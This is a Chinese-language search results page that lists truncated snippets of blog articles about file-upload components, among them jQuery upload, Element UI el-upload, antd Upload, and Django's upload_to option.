  • jquery.upload.js

    热门讨论 2020-07-29 14:18:46
    1 在页面引入jquery.upload js 2 代码 view source print? 01 // upload_img 为一个按钮, 点击时选择文件上传 02 $("#upload_img").click(function() { 03 // 上传方法 04 $.upload({ 05 // 上传地址 06 url: '...
  • 实现效果: 上传中: 上传完成: 代码: &lt;el-form-item label="视频上传"...el-upload class="avatar-uploader el-upload--text" :action="uploadUrl" :show-
  • 关于el-upload上传的一些问题

    万次阅读 2019-01-08 14:34:15
    el-upload上传组件使用过程中所遇到的问题 最近实习过程中一直在使用vue,由于初次接触vue,难免会遇到各种各样的坑,本次将要介绍的就是vue的组件库element UI中的el-upload的一些上传问题。 不得不说,vue的组件...
  • 这几天要在网站上增加一个图片从剪切板粘贴上传的功能,想利用el-upload组件来进行这个功能。 但是el-upload在官网里只写了file-list,它表示已上传文件列表(就是后面打了绿色勾勾的,已经上传成功了的) 那么el-...
  • antd Upload 文件上传

    万次阅读 2018-10-11 16:43:37
    1.antd官网Upload组件: https://ant.design/components/upload-cn/ 2.下图是最近开发的上传文档的效果:   3.文件上传的实现: (1)方法一:antd默认上传。 a:渲染文件上传组件。getPDFURL()方法为...
  • element UI upload组件上传附件格式限制

    万次阅读 2018-05-21 13:00:12
    el-upload :action="uploadUrl" ref="upload" :multiple="false" :on-change="fileChange" :before-upload="beforeUpload" :on-success="...
  • Element UI Upload 组件 设置只允许上传单张图片的操作

    万次阅读 热门讨论 2018-02-01 15:05:44
    首先附一个官方upload的地址 http://element-cn.eleme.io/#/zh-CN/component/upload 其中有上传多张和不同样式列表的例子,只是在【用户上传头像】这个例子中,在下并没有成功的使用。 会出现显示不出已...
  • 基于el-upload组件实现上传下载excel文件 在vue项目中,使用了element组件,要基于其中的下载组件el-upload实现上传和下载excel的功能,发现element官网上的说明说的很不清楚,找了很多资料和实践后,总结了以下的...
  • Django自定义图片和文件上传路径(upload_to)的2种方式

    万次阅读 多人点赞 2020-09-15 23:10:22
    最近在做一个仿知乎网站的项目了,里面涉及很多图片和文件...Django模型中的ImageField和FileField的upload_to选项是必填项,其存储路径是相对于MEIDA_ROOT而来的。 我们来看一个简单案例(如下所示)。如果你的ME...
1 2 3 4 5 ... 20
收藏数 391,092
精华内容 156,436
关键字:

upload